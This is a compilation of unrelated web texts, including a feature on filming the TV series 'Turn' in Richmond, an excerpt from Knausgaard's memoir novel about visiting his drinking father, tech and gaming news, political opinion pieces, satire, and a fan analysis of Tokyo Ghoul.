Inside the church, Silverstein tucks into a spot near this episode's director, Nick Copus. The two worked together on another series Silverstein created, "Nikita," which ran four seasons on the CW before ending in December.
They watch and consult, trading ideas quickly and efficiently.
Extras have been instructed to react to something revealed in dialogue between actors, but the murmuring comes off a little too loud.
By this time in the story, the townspeople shouldn't be as surprised by what's revealed, Silverstein says: "I feel like it's old news."
Copus agrees. "Background," he instructs: "On this one, just a tiny mumble. Not as big of a reaction, please."
It works. They move on. "New deal!"
Across town, near the Richmond International Raceway, other "Turn" teams are busy inside a 219,000-square-foot warehouse last occupied by the Internal Revenue Service. Carpenters, office staff and members of the set design and wardrobe departments are at work. Replicas of building interiors are located on a soundstage. There are working fireplaces, backdrops and a barn set, where the scent of recently visiting farm animals lingers.
Costume Designer Donna Zakowska, who was last in Richmond working on "John Adams," moves through the workshop, pointing out colors, clothes and hats, from simple farm clothes to intricately designed dresses.
"It takes nine pieces of clothing to create one 18th-century costume," she says, estimating that there will be close to 3,000 pieces by the end of the season.
She started with the pilot, which shot last April in the Richmond area and Petersburg. The production flew mostly under the radar with actors who are accomplished but perhaps not recognizable in the line at Starbucks. Yet.
Once the show was picked up, it started filming here in November.
If anyone noticed, it was nothing like the fervor that accompanied Steven Spielberg riding through town in a black SUV, Daniel Day-Lewis sightings and Joseph Gordon-Levitt night life run-ins during "Lincoln" filming in 2011.
But if you're counting pennies, there's a bigger payoff from the little screen. The economic impact of securing a major television series is what the Virginia Film Office's director, Andy Edmunds, calls "the golden goose of our industry."
If you buy into the state's figures on "Lincoln," the economic impact in Virginia was $64.1 million. But two seasons of "Turn" in Richmond — with the first estimated at $45 million — would surpass that.
click to enlarge Scott Elmquist
Horses and wagons are prepared for their moment on camera during a scene in episode seven, filmed in February. The church, which sits on top of a hill, was built for the season’s pilot, which shot locally in April 2013.
So what's the key to a second season?
"I'm not going to comment on that," AMC's Davis says. But the team has been "phenomenal" and the network is "really pleased with every aspect of the show," he says. "They've done an incredible job of bringing to life the next, we hope, great AMC series."
Last month, soon after Davis visits the "Turn" set, AMC announces that it's promoting him to senior vice president of scripted programing. And "The Walking Dead," which aired its season finale Sunday, continued as a ratings powerhouse till the end. Prime-time episodes ranked first among young viewers in Nielsen ratings, beating "Scandal," "Survivor" and "American Idol."
Luring millions |
said. "That wasn't good."
"No," I said.
"Yeah," he said, emptying the glass in one swig.
"Gunnar's been round, snooping," he said, of my uncle. "Afterward he goes straight to Grandma and Grandad and tells them what he's seen."
"I'm sure he just came to visit you," I said.
Dad didn't answer. He refilled his glass.
"Are you coming, Unni?" he shouted. "We've got my son here!"
"OK, coming," we heard from inside.
"No, he was snooping," he repeated. "Then he ingratiates himself with your grandparents."
He stared into the middle distance with the glass resting in his hand. Turned his head to me.
"Would you like something to drink? A Coke? I think we've got some in the fridge. Go and ask Unni."
I stood up, glad to get away.
Gunnar was a sensible, fair man, decent and proper in all ways, he always had been, of that there was no doubt. So where had Dad's sudden backbiting come from?
After all the light in the garden, at first I couldn't see my hand in front of my face in the kitchen. Unni put down the scrub brush when I went in, came over and gave me a hug.
"Good to see you, Karl Ove." She smiled.
I smiled back. She was a warm person. The times I had met her she had been happy, almost flushed with happiness. And she had treated me like an adult. She seemed to want to be close to me. Which I both liked and disliked.
"Same here," I said. "Dad said there was some Coke in the fridge."
I opened the fridge door and took out a bottle. Unni wiped a glass dry and passed it to me.
"Your father's a fine man," she said. "But you know that, don't you?"
I didn't answer, just smiled, and when I was sure that my silence hadn't been perceived as a denial, I went back out.
Dad was still sitting there.
"What did Mom say?" he asked into the middle distance once again.
"About what?" I said, sat down, unscrewed the top, and filled the glass so full that I had to hold it away from my body and let it froth over the flagstones.
He didn't even notice!
"Well, about the divorce," he said.
"Nothing in particular," I said.
"I suppose I'm the monster," he said. "Do you sit around talking about it?"
"No, not at all. Cross my heart."
There was a silence.
Over the white timber fence you could see sections of the river, greenish in the bright sunlight, and the roofs of the houses on the other side. There were trees everywhere, these beautiful green creations that you never really paid much attention to, just walked past; you registered them but they made no great impression on you in the way that dogs or cats did, but they were actually, if you lent the matter some thought, present in a far more breathtaking and sweeping way.
The flames in the grill had disappeared entirely. Some of the charcoal briquettes glowed orange, some had been transformed into grayish-white puffballs, some were as black as before. I wondered if I could light up. I had a packet of cigarettes inside my jacket. It had been all right at their party. But that was not the same as it being permitted now.
Dad drank. Patted the thick hair at the side of his head. Poured wine into his glass, not enough to fill it, the bottle was empty. He held it in the air and studied the label. Then he stood up and went indoors.
I would be as good to him as I could possibly be, I decided. Regardless of what he did, I would be a good son.
This decision came at the same time as a gust of wind blew in from the sea, and in some strange way the two phenomena became connected inside me, there was something fresh about it, a relief after a long day of passivity.
He returned, knocked back the dregs in his glass and recharged it.
"I'm doing fine now, Karl Ove," he said as he sat down. "We're having such a good time together."
"I can see you are," I said.
"Yes," he said, oblivious to me.
***
Dad grilled some steaks, which he carried into the living room, where Unni had set the table: a white cloth, shiny new plates and glasses. Why we didn't sit outside I didn't know, but I assumed it was something to do with the neighbors. Dad had never liked being seen and definitely not in such an intimate situation as eating was for him.
He absented himself for a few minutes and returned wearing the white shirt with frills he had worn at their party, with black trousers.
While we had been sitting outside Unni had boiled some broccoli and baked some potatoes in the oven. Dad poured red wine into my glass, I could have one with the meal, he said, but no more than that.
I praised the food. The barbecue flavor was particularly good when you had meat as good as this.
" Skål," Dad said. "Skål to Unni!"
We held up our glasses and looked at each other.
"And to Karl Ove," she said.
"We may as well toast me too then." Dad laughed.
This was the first relaxed moment, and a warmth spread through me. There was a sudden glint in Dad's eye and I ate faster out of sheer elation.
"We have such a cozy time, the two of us do," Dad said, placing a hand on Unni's shoulder. She laughed.
Before he would never have used an expression such as cozy.
I studied my glass, it was empty. I hesitated, caught myself hesitating, put the little spoon into a potato to hide my nerves and then stretched casually across the table for the bottle.
Dad didn't notice, I finished the glass quickly and poured myself another. He rolled a cigarette, and Unni rolled a cigarette. They sat back in their chairs.
"We need another bottle," he said, and went into the kitchen. When he returned he put his arm around her.
I fetched the cigarettes from my jacket, sat down and lit up. Dad didn't notice that either.
He got up again and went to the bathroom. His gait was unsteady. Unni smiled at me.
"I teach my first course at gymnas in Norwegian this autumn," she said. "Perhaps you can give me a few tips? It's my first time."
"Yes, of course."
She smiled and looked me in the eye. I lowered my gaze and took another swig of the wine.
"Because you're interested in literature, aren't you?" she continued.
"Sort of," I said. "Among other things."
"I am too," she said. "And I've never read as much as when I was your age."
"Mm."
"I plowed through everything in sight. It was a kind of existential search, I think. Which was at its most intense then."
"Mm."
"You've found each other, I can see," Dad said behind me. "That's good. You have to get to know Unni, Karl Ove. She's such a wonderful person. She laughs all the time. Don't you, Unni?"
"Not all the time." She laughed.
Dad sat down, sipped from his glass and as he did so his eyes were as vacant as an animal's.
He leaned forward.
"I haven't always been a good father to you, Karl Ove. I know that's what you think."
"No, I don't."
"Now, now, no stupidities. We don't need to pretend any longer. You think I haven't always been a good father. And you're right. I've done a lot of things wrong. But you should know that I've always done the very best I could. I have!"
I looked down. This last he said with an imploring tone to his voice.
"When you were born, Karl Ove, there was a problem with one of your legs. Did you know that?"
"Vaguely," I said.
"I ran up to the hospital that day. And then I saw it. One leg was crooked! So it was put in plaster, you know. You lay there, so small, with plaster all the way up your leg. And when it was removed I massaged you. Many times every day for several months. We had to so that you would be able to walk. I massaged your leg, Karl Ove. We lived in Oslo then, you know."
Tears coursed down his cheeks. I glanced quickly at Unni, she watched him and squeezed his hand.
"We had no money either," he said. "We had to go out and pick berries, and I had to go fishing to make ends meet. Can you remember that? You think about that when you think about how we were. I did my best, you mustn't believe anything else."
"I don't," I said. "A lot happened, but it doesn't matter anymore."
His head shot up.
"YES, IT DOES!" he said. "Don't say that!"
Then he noticed the cigarette between his fingers. Took the lighter from the table, lit it, and sat back.
"But now we're having a cozy time anyway," he said.
"Yes," I said. "It was a wonderful meal."
"Unni's got a son as well, you know," Dad said. "He's almost as old as you."
"Let's not talk about him now," Unni said. "We've got Karl Ove here."
"But I'm sure Karl Ove would like to hear," Dad said. "They'll be like brothers. Won't they. Don't you agree, Karl Ove?"
I nodded.
"He's a fine young man. I met him here a week ago," he said.
I filled my glass as inconspicuously as I could.
The telephone in the living room rang. Dad got up to answer it.
"Whoops!" he said, almost losing his balance, and then to the phone, "Yes, yes, I'm coming."
He lifted the receiver.
"Hi, Arne!" he said.
He spoke loudly, I could have listened to every word if I'd wanted to.
"He's been under enormous strain recently," Unni whispered. "He needs to let off some steam."
"I see," I said.
"It's a shame Yngve couldn't come," she said.
Yngve?
"He had to go back to Bergen," I said.
"Yes, my dear friend, I'm sure you understand!" Dad said.
"Who's Arne?" I said.
"A relative of mine," she said. "We met them in the summer. They're so nice. You're bound to meet them."
"OK," I said.
Dad came back in and saw the bottle was nearly empty.
"Let's have a little brandy, shall we?" he said.
"A digestif?"
"You don't drink brandy, do you?" Unni asked, looking at me.
"No, the boy can't have spirits," Dad said.
"I've had brandy before," I said. "In the summer. At soccer training camp."
Dad eyed me. "Does Mom know?" he said.
"Mom?" Unni said.
"You can have one glass, but no more," Dad said, staring straight at Unni. "Is that all right?"
"Yes, it is," she said.
He fetched the brandy and a glass, poured, and leaned back into the deep white sofa under the windows facing the road, where the dusk now hung like a veil over the white walls of the houses opposite.
Unni put her arm around him and one hand on his chest. Dad smiled.
"See how lucky I am, Karl Ove," he said.
"Yes," I said, and shuddered as the brandy met my tongue. My shoulders trembled.
"But she has a temper too, you know," he said. "Isn't that true?"
"Certainly is," she said with a smile.
"Once she threw the alarm clock against this wall," he said.
"I like to get things off my chest right away," Unni said.
"Not like your mother," he said.
"Do you have to talk about her the whole time?" Unni said.
"No, no, no, not at all," Dad said. "Don't be so touchy. After all, I had him with her," he said, nodding toward me. "This is my son. We have to be able to talk as well."
"OK," Unni said. "You just talk. I'm going to bed." She got up.
"But Unni... " Dad said.
She went into the next room. He stood up and slowly followed her without a further look.
I heard their voices, muted and angry. Finished the brandy, refilled my glass, and carefully put the bottle back in exactly the same place.
Oh dear.
He yelled.
Immediately afterward he returned.
"When does the last bus go, did you say?" he said.
"Ten past eleven," I said.
"It's almost that now," he said. "Perhaps it's best if you go now. You don't want to miss it."
"OK," I said, and got up. Had to place one foot well apart from the other so as not to sway. I smiled. "Thanks for everything."
"Let's keep in touch," he said. "Even though we don't live together anymore nothing must change between us. That's important."
"Yes," I said.
"Do you understand?"
"Yes. It's important we keep in touch," I said.
"You're not being flippant with me, are you?" he said.
"No, no, of course not," I said. "It's important now that you're divorced."
"Yes," he said. "I'll ring. Just drop by when you're in town. All right?"
"Yes," I said.
While putting on my shoes I almost toppled over and had to hold on to the wall. Dad sat on the sofa drinking and noticed nothing.
"Bye!" I shouted as I opened the door.
"Bye, Karl Ove," Dad called from inside, and then I went out into the darkness and headed for the bus stop.
***
I waited for about a quarter of an hour until the bus arrived, sitting on a step smoking and watching the stars, thinking about Hanne.
I could see her face in front of me.
She was laughing; her eyes were gleaming. I could hear her laughter.
She was almost always laughing. And when she wasn't, laughter bubbled in her voice.
Brilliant! she would say when something was absurd or comical.
I thought about what she was like when she turned serious. Then it was as if she was on my home ground, and I felt I was an enormous black cloud wrapped around her, always greater than her. But only when she was serious, not otherwise.
When I was with Hanne I laughed almost all the time.
Her little nose!
She was more girl than woman in the same way that I was more boy than man. I used to say she was like a cat. And it was true there was something feline about her, in her movements, but also a kind of softness that wanted to be close to you.
I could hear her laughter, and I smoked and peered up at the stars. Then I heard the deep growl of the bus approaching between the houses, flicked the cigarette into the road, stood up, counted the coins in my pocket, and handed them to the driver when I stepped on board.
Oh, the muted lights in buses at night and the muted sounds. The few passengers, all in their own worlds. The countryside gliding past in the darkness. The drone of the engine. Sitting there and thinking about the best that you know, that which is dearest to your heart, wanting only to be there, out of this world, in transit from one place to another, isn't it only then you are really present in this world? Isn't it only then you really experience the world?
Oh, this is the song about the young man who loves a young woman. Has he the right to use such a word as "love"? He knows nothing about life, he knows nothing about her, he knows nothing about himself. All he knows is that he has never felt anything with such force and clarity before. Everything hurts, but nothing is as good. Oh, this is the song about being sixteen years old and sitting on a bus and thinking about her, the one, not knowing that feelings will slowly, slowly, weaken and fade, that life, that which is now so vast and so all-embracing, will inexorably dwindle and shrink until it is a manageable entity that doesn't hurt so much, but nor is it as good.
Only a 40-year-old man could have written that. I am 40 now, as old as my father was then, I'm sitting in our flat in Malmö, my family is asleep in the rooms around me. Linda and Vanja in our bedroom, Heidi and John in the children's room, Ingrid, the children's grandmother, on a bed in the living room. It is November 25, 2009. The mid 80s are as far away as the 50s were then. But most of the people in this story are still out there. Hanne is out there, Jan Vidar is out there, Jøgge is out there. My mother and my brother, Yngve—he spoke to me on the phone two hours ago, about a trip we are planning to Corsica in the summer, he with his children, Linda and I with ours—they are out there. But Dad is dead, his parents are dead.
Among the items Dad left behind were three notebooks and one diary. For three years he wrote down the names of everyone he met during the day, everyone he phoned, all the times he slept with Unni, and how much he drank. Now and then there was a brief report, mostly there wasn't.
"K. O. visited" appeared often.
That was me.
Sometimes it said "K. O. cheerful" after I had been there.
Sometimes "good conversation."
Sometimes "decent atmosphere."
Sometimes nothing.
I understand why he noted down the names of everyone he met and spoke to in the course of a day, why he registered all the quarrels and all the reconciliations, but I don't understand why he documented how much he drank. It is as if he was logging his own demise.
—Translated from the Norwegian by Don Bartlett
My Struggle: Book Four will be released in the U.S. on April 28 by Archipelago Books ($27). It is available in the UK from Harvill Secker (£17.99).
Karl Ove Knausgaard was born in Norway in 1968. For My Struggle: Book One, Knausgaard received the Brage Award in 2009, the 2010 Book of the Year Prize in Morgenbladet, and the P2 Listeners' Prize. My Struggle: Book One was a New Yorker Book of the Year, and Book Two was listed among the Wall Street Journal's 2013 Books of the Year. My Struggle is a New York Times Best Seller and has been translated into more than 15 languages. Knausgaard lives in Sweden with his wife and four children.
Don Bartlett has translated novels by many Danish and Norwegian authors, among them Jo Nesbø, Roy Jacobsen, Lars Saabye Christensen, and Per Petterson. He lives with his family in England.We really liked the updated Skylake-powered Dell XPS 13, and its bigger brother, the XPS 15, was also pretty great.
But if you're looking at those machines and thinking, "Well, the hardware is nice; I just wish they came with Linux," Dell has some good news. The company's "Developer Edition" program has just been updated to include the newest Skylake systems.
The Developer Edition XPS 13s are slightly different from the Windows versions, as they use Intel Wi-Fi adaptors (instead of Dell-branded parts). Otherwise, little has changed save for them coming with Ubuntu 14.04 LTS instead of Windows 10. The range of configurations available is also narrower. Currently, only the i7 processor is available with the beautiful 3200×1800 touch display. This can be had with 8GB RAM and 256GB SSD, or 16GB RAM and 512GB, or 1TB of SSD. Dell says that later on, an i5 model with 8GB RAM, 256GB SSD, and the 1920×1080 non-touch display will be available.
A range of Precision-branded workstations are also available. For those who liked the look of the XPS 15, the Precision 5510 is a near identical clone, just with slightly different CPU and GPU options and Intel Wi-Fi. In the Precision guise, the system can include Xeon-branded processors and Quadro-branded GPUs. The Precision 3510, 7510, and 7710 ranges will also be available, giving buyers a wide range of sizes, weights, and specifications.
Unlike the XPS 13, which only offers limited configurations, the Precision systems are fully configurable: any combination of processor, storage, memory, CPU, and display is possible. The operating system is simply a configurable option. They come with Windows by default, but you can pick Ubuntu instead and shave about $100 off the price.
Dell plans to support Ubuntu 16.04 LTS when it ships next month.
Dell's Developer Edition program, called Project Sputnik, is now four years old. Rather than emulating the many failed attempts at building mainstream Linux PCs, Dell's efforts have been focused more on a particular kind of customer—developers and administrators. What started out as essentially a hobby has transformed into what we see today: four different models with full Linux support and a fifth model with somewhat more limited support.As part of last week’s fabulous free stuff giveaway, we gave out 37,000 free “Purple Mystery Boxes”. My theory is: people like free stuff and people like mystery boxes. The mystery box then changed colors a bunch of times. Then it got some weird pictures on it of a dog, an umbrella, a cake, and a keyhole. Was it a mystery? Or was it a warning?!
Someone in the forums pointed out that the first letters of all these things spelled “DUCK”, but this person was largely ignored. Thus the Robloxian populace was unprepared for the coming of EPIC DUCK!
EPIC DUCK is just like you and me, only five stories tall. Here he is providing me with good cover in miked’s Ultimate Paintball.
EPIC DUCK is too epic to appear in ROBLOX all the time. So inside of the mystery box, we present to you a smaller-sized alternative rubber ducky. Sure, he’s not as mind-blowingly cool as EPIC DUCK, but he also won’t crush you into a thousand pieces if you try to wear him on your head.
Some people say that EPIC DUCK will return to Roblox one day. But those people are quacks. It will probably never happen.
…
Right?
– TelamonA Florida man masturbated during a flight from Spokane to Denver last week, a criminal charge alleges.
Two 18-year-old passengers told an FBI agent that they saw Kyle Devin Pearce, 25, masturbating while on board United Airlines Flight 340 on May 19.
One witness said he was sitting behind Pearce when he saw what he was doing and "hit him with my book in the arm, which caused him to stop and leave to the bathroom. After a while he returned," according to an affidavit. Both witnesses said Pearce's penis was visible.
Pearce was to connect to an Orlando-bound flight but was instead arrested at the airport and appeared before a federal judge in Denver. He posted $25,000 bond Tuesday.
Pearce is charged with crimes aboard aircraft, which carries a maximum 90 days in jail, $5,000 fine and one year probation.Both Donald Trump and Hillary Clinton are refusing to shine a light on important aspects of their character and campaigns. By hiding from the public, they want to dodge disclosures about their finances and stances. It’s a cover-up that voters shouldn’t accept.
For Trump, the issue is his taxes. All presidential candidates in recent years have released their returns to the public for better or worse. Income, donations, write-offs: it’s all there. The figures reflect wealth, business savvy and charitable leanings.
The New York billionaire and presumptive Republican nominee doesn’t see it that way. He’s rejecting requests to release his taxes with a dismissive remark: “There’s nothing to learn from them.”
He’s dodging responsibility on another level by playing for time. His taxes are regularly audited, a process he says needs to play out before he’ll let the paperwork surface. But the IRS says there’s nothing about the audit process that forbids him from releasing what’s on file.
Trump’s evasiveness goes to the heart of his image as an accomplished business figure and savvy deal maker. It’s hard to take these boasts seriously without the tax numbers to back them up. His use of bankruptcy laws, loopholes and loans may be wider or narrower than we know — but the facts won’t be known until his taxes are released. That date, he says, will probably come after the November presidential vote, a cynical bit of timing that plays voters as suckers.
For Clinton, the money problem nags in a different way. After leaving office as secretary of state, she launched a lucrative two-year career as a paid speaker at business gatherings. On the list were three speeches to Goldman Sachs, the giant Wall Street investment firm that paid her $225,000 each time, as her rival Sen. Bernie Sanders frequently mentions.
But what did she say? Clinton refuses to release her remarks, saying that other presidential candidates are not providing such disclosures of their closed-door paid engagements. But the excuse “nobody else has to do it” as a reason for avoiding a legitimate public inquiry is not an example of leadership.
Her remarks might well be tame or rehearsed, just another money-making stop on her tour of conventions and corporate retreats that earned her $7.1 million. But when she takes money from a major player in the mortgage meltdown and a training ground for Treasury officials, the public should know what Clinton had to say.
Both front-runners need a dose of transparency. No amount of deferring and denying can substitute for plain disclosure and honesty. Voters deserve to know about Trump’s taxes and Clinton’s speeches.On Wednesday’s The View, the panel discussed the upcoming presidential debates and what the roles of the moderators should be. The discussion started with agreement that moderators should fact-check each candidate throughout the debate and how that was helpful for viewers who may not be “political junkies.” Behar then brought up 2012 debate moderator, Candy Crowley and insinuated that she was punished for fact-checking Romney.
BEHAR: Remember Candy Crowley when she corrected Romney in the last debate with Obama, they called her out for that and two months later we didn't see her on CNN anymore. Coincidence? I don't know. SARA HAINES: But she was right, right? WHOOPI: Yeah, she was right. HAINES:--what she brought up? BEHAR: Yeah, but she's gone. HAINES: [sadly] I know.
Bila jumped in to add that it wasn’t the actual “fact-checking” that was the problem in Crowley’s case, but how she went about doing it.
BILA: The way it came off to certain people was that she was echoing a talking point of the Obama campaign. So you have to be careful.
Behar added that in 2014, MSNBC’s Chuck Todd said that sometimes the candidate won’t come back on your show if you push too much with “fact-checks.”
Apparently the panelists at the View conveniently forgot when “righteous” Crowley admitted that she treated Romney unfairly during the second presidential debate, and even Washington Post fact-checker Glenn Kessler defended Romney’s statement on Libya which Crowley harped on.
Perhaps then her biased performance during the debate was the reason her journalistic career deflated afterwards, and not the actual act of “fact-checking?”NEW YORK—Sources at Columbia University Medical Center reported Sunday that cardiac surgeon Dr. Robert Klinge, 44, was putting off an impending coronary bypass procedure by cleaning the entire hospital. “I know that guy’s arteries are a mess, but so are the linens in the pediatric ward,” Klinge said following a morning of procrastination in which he had vacuumed the ER, taken out the hospital’s recycling, and sorted multiple trays of scalpels, adjusting the implements carefully until they were lined up perfectly parallel. “If I don’t clean this stuff now, I’ll spend the whole surgery focusing on how the floor could use mopping and the cafeteria windows need to be washed. Besides, I can always get up really early tomorrow and do the bypass then.” At press time, Klinge was reportedly applying a fresh coat of paint to the hospital’s loading dock and did not hear the intercom call indicating a “code blue” in the cardiac wing.
AdvertisementTom Cotton's sophomoric stunt of an open letter to the Iranians telling them not to have confidence in whatever the United States puts on the negotiating table has received the broad and swift condemnation it deserves. Some of the strong criticism has come from editorial pages and other sources of commentary that generally are not very friendly toward the Obama administration in general or even to its policies on Iran in particular. A bright side to this incident that embarrasses and disgraces half of the United States Senate comes in the clarity it provides in terms of what games are being played and what is at stake. Even before this latest antic, Cotton deserved credit for being more honest about his objective than most of his colleagues who are engaged in the same destructive efforts to undermine diplomacy on Iran. Cotton has stated openly and explicitly that his goal is to kill off any agreement at all with Iran. Unlike many others, he has not tried to fool us with the subterfuge that legislative sabotage is aimed at getting a chimerical “better deal” with Iran. Now with the letter, the unwritten alliance between American hardliners and Iranian hardliners in opposing any agreement is made more open than ever.
What is going on here is not just the work of Tom Cotton. The outrageous letter to the Iranians flows naturally from a broader ongoing process. The fact that the great majority of Republican senators signed the letter is the most obvious indication of that. There no doubt is today much regret in the senatorial offices involved, but the fact is that 47 of them signed it. There are a couple of possible interpretations of what took place among the members, neither of which makes those members look good. One is that they are so distracted or careless that they can let a 37-year-old who has been in the Senate only two months rope them into doing something this stupid. The other, which is the more plausible interpretation, is that Cotton's letter was only the latest vehicle for a journey that the whole party has already been taking for some time.
The letter was a natural next step after bringing Benjamin Netanyahu to the Capitol for the express purpose of denouncing and opposing U.S. policy toward Iran. In each case it was a matter of Congressional Republicans enlisting foreigners to try to sabotage a major element of current U.S. foreign policy. Because Israel is considered an “ally,” Netanyahu got to use the podium in the House chamber whereas Iranian hardliners do not get that privilege. But the fundamental nature and purpose of what was taking place was the same.
The impact of all of this on the immediate prospects for completing a nuclear deal between the P5+1 and Iran is certainly important and has been the subject of much of the immediate commentary about the letter. There is a basis for optimism that this clownish overplaying of their hand by some of those who would like to sabotage the diplomacy will lessen the danger of such sabotage. The episode at least demonstrates why, if one wants U.S. policy toward Iran to be formulated and executed in a responsible and adult way, then for the time being the less Congressional involvement there is the better.
We ought to reflect also, however, on how the kind of irresponsible behavior we have just seen is part of a bigger pattern that goes well beyond policy toward Iran and has deleterious effects on U.S. interests abroad besides what happens to an Iranian nuclear deal. This behavior damages U.S. credibility. There is an irony here in that some of those who signed Cotton's letter have been among those who have bemoaned supposed diminishing of America's international credibility because of other matters, usually involving issues of whether the United States should persist in prosecuting overseas military operations where any direct U.S. interests being protected are questionable. U.S. credibility is not determined by military doggedness in such situations. It is partly determined by the United States living up to negotiated multilateral agreements that are clearly in its interests, as would be the case with a P5+1 agreement to restrict Iran's nuclear program. Probably the single most remarkable—and egregious—aspect of the Cotton letter is that it was blatantly and expressly designed to damage U.S. credibility. In the future, it will lack credibility for any signatory of this letter to complain about alleged damage to U.S. credibility regarding anything else.
The connection between the sort of behavior we are talking about and the standing of the United States overseas, however, is even broader than that and extends to the handling of domestic policy. Foreigners and foreign governments observe how the United States, the superpower with the world's largest economy, handles its own affairs, and they draw conclusions about how viable and reliable an interlocutor the United States would be on international matters. The foreigners are looking to see whether there is consistency and rationality in how the U.S. political system pursues U.S. national interests. If they do see those things, then the United States is someone they can do business with, whether as a rival or as an ally, even if U.S. interests differ from their own. If they do not see those things, then opportunities are lost for doing business that would benefit both the United States and the foreign state.
A nation does not represent itself as a viable interlocutor, whose execution of policy can be trusted by other nations, if passionate internal divisions supersede sober pursuit of the nation's interests. As an outsider we encounter such situations in, say, Iraq, where sectarian loyalties and hatreds make it impossible to rely on a government in Baghdad consistently pursuing an Iraqi national interest. We also see it in Bangladesh, where the personal animosity between the “two begums” who head each of the major political parties there have made Bangladeshi politics so dysfunctional that in the recent past the military has had to step in.
A pattern that is similar in some respects has, tragically, come to prevail in the United States. Foreigners could hear the then minority (now majority) leader of the United States Senate state a few years ago that his number one priority was not any particular U.S. national interest in either domestic or foreign affairs but instead the prevention of a second term for the incumbent U.S. president. Foreigners then were able to see the senator's party act along the same lines, using extortionate legislative methods to push a partisan agenda even at the expense of damaging the country's credit rating and causing disruptive interruptions to government operations. Once the same party achieved a majority in both houses of Congress there was much talk about how this would lead to newly responsible behavior, but the opening gavel of the new Congress had hardly fallen when once again there was the tactic of holding the operations of a government department hostage to press a specific partisan demand (this time on immigration) in opposition to the president's policies.
Foreigners can see today in the same party an animosity toward the other party and especially to the current U.S. president that is as passionate as the sectarian hatreds in Iraq or the personal hatreds between the begums in Bangladesh, and that leads to at-all-costs efforts to defeat any achievements by this president. The biggest such achievement in foreign policy would be an accord to restrict the Iranian nuclear program—hence all the pulling out of stops, aided by the role of Netanyahu and the Iranian hardliners, to defeat such an agreement. The biggest achievement in domestic policy has been the Affordable Care Act—hence while those proverbial crumbling roads and bridges in the U.S. infrastructure continue to crumble, the House of Representatives spends its time and effort on voting 56 times to repeal the Act. The campaign to destroy Obamacare has become an Ahab-against-the-white-whale obsession that is being endlessly pursued despite mounting evidence of the Act's success ; observant foreigners must be shaking their heads wondering how a country in which such obsessions govern the political system ever got to be a superpower.
The closing of eyes even to the performance of public programs within the United States is but one example of an all-too-conspicuous denial of reality on other matters. Senator James Inhofe, chairman of the Senate Environment and Public Works Committee, gave another demonstration of this the other day when he tossed a snowball in the Senate chamber to emphasize his disbelief in climate change, a prank that rivals what the youngster Cotton has done in demeaning the world's supposedly greatest deliberative body. The foreign perceptions of all this that matter include not only whether CO2-belching China will live up to its side of international agreements to save the planet but also more broadly what foreigners think about the prospect of doing any business on anything with a government that has a major part of it so far apart from the reality-based community and so disinclined to work responsibly on behalf of its own national interests.The North American Match-Fixing Association, or NAMFA, has announced the removal of all individuals caught in the recent scandal involving ex-iBUYPOWER players.
“The first rule of match-fixing is do not get caught match-fixing,” said one current NAMFA member who successfully remained anonymous. “The second rule is do not text your girlfriend about it.”
The players will lose their “Throw Pro” gold status immediately and will no longer have access to NAMFA facilities and benefits, which included a lifetime supply of malfunctioning peripherals and an Olympic height diving board.
NAMFA also provided a security detail trained to keep Richard Lewis at a minimum distance of 10 yards away during DreamHack afterparties.
“This has been a really tough week for me,” said Joshua “Steel” Nissan, who reportedly ate dinner alone while listening to MLG.tv-licensed sad violin music. “Unfortunately I will have no choice but to try my absolute hardest to win every CS:GO match from now on.”
Nissan also revealed that he planned to stream an official apology to those affected by the scandal this week, but later added |
curb the cravings, he still hasn’t kicked the habit. We hope he gives up for the sake of his health, but somehow his addiction makes him seem human. The charismatic way he holds the cigarette in this picture, while looking straight into the lens, straw hat plumb on his head, foretells his presidency-clinching ability to engage with the public.
Gordon Brown, British Prime Minister
Image source
Here’s Gordon Brown looking goofy. The windswept hair, heavy jacket, floral tie and squiffy shirt tell of a man with better things to think about than elegant apparel. It may seem quirky now, but the floral tie was standard fare at the time; his reluctance to stand out emphasised by his apparent discomfort at being photographed. The nervous hands and sideways glance suggest his motivation for entering politics was something more substantial than mere glamour.
Nicholas Sarkozy, French President
Image source
No man wears a scarf like a French man. Here’s Nicholas Sarkozy pulling off the look with nonchalant aplomb. The mane and open shirt did more for him then than his stacked shoes and upright hair do for him now.
Silvio Berlusconi, Italian Prime Minister
Image source
The Italian premier, who once joked that Barack Obama ‘has a good tan’, is known more for his misjudged gaffes, love of women, and alleged bribery then he is for his political convictions. We think this photo, in which he looks like a suave, joking Mafioso, has captured him well.
Angela Merkel, German Chancellor
Image source
A young, smiling Angela Merkel looks grounded in this shot, sitting, as she is, on a rock. While the wives of the world’s leaders spar for best-dressed accolades, the German chancellor is famously dowdy. Here, in her long skirt and short crop, she looks motherly, pragmatic, without artifice – qualities which have assured her popularity in the political arena.
Robert Mugabe, President of Zimbabwe
Image source
Here’s Robert Mugabe looking like butter wouldn’t melt. We’re not sure what portents this picture reveals, though the white gloves betray a love of pomp and ceremony.
Mahmoud Ahmadinejad, Iranian Prime Minister
Image source
The Iranian Prime Minister is a picture of self-possession in this photograph, looking at once serious and kind. During his political career he has become known on the one hand for his vehement rhetoric and confrontational attacks on the West, while on the other for nurturing a reputation as the ‘people’s friend’, speaking often about empowering women in Iranian society.
Vladimir Putin, Russian Prime Minister
Image source
We couldn’t find a picture of Vladimir Putin at College age, but here he is as a young boy. Former British Prime Minister, Winston Churchill, once described Russia as ‘a riddle wrapped inside an enigma’, a statement which applies equally well to the country’s current leader. While the one-time judo champion appears cool and elusive in adulthood, in his youth he looked more vulnerable – a slip of a thing.
Kevin Rudd, Australian Prime Minister
Image source
We think Kevin Rudd was probably born wearing glasses and a neatly knotted tie.
Jose Luis Rodriguez Zapatero, Spanish Prime Minister
Image source
Affable Zapatero looks on top of the world in trainers and ripped jeans. With one hand on his hip, the other relaxed, he looks, more than any other on this list, like a regular guy. Little surprise then that during his leadership term he has legalised gay marriage, brought in fast-track divorces, created laws to promote gender equality and tackle domestic violence, and introduced an amnesty for undocumented workers: in short, championed the everyman.On Narrators, Observers and the Sun Arc
So for once I’m going to make a meta on how things might not be as bad as they look. It’s shocking, I know. There’s something I’ve noticed though, that was revealed this chapter that I have not seen anybody else talking about.
That the narrator who carries such an objective and flourishing style in narration that was almost absent from Tokyo Ghoul with the exception of the end of chapter and beginning of chapter brief segments, is none other than Furuta himself. Not only that but for most of the time, these narrations are completely objective and more descriptive of the situation around him rather than Furuta’s actual thoughts and emotions.
Clickbait title: why is naki going to survive? Find out below.
These boxes go so far as to describe exposition about Zero Squad, and Juuzou and describe Furuta as if he were a character in the narrative as well, before revealing that this was all actually Furuta’s personal narration.
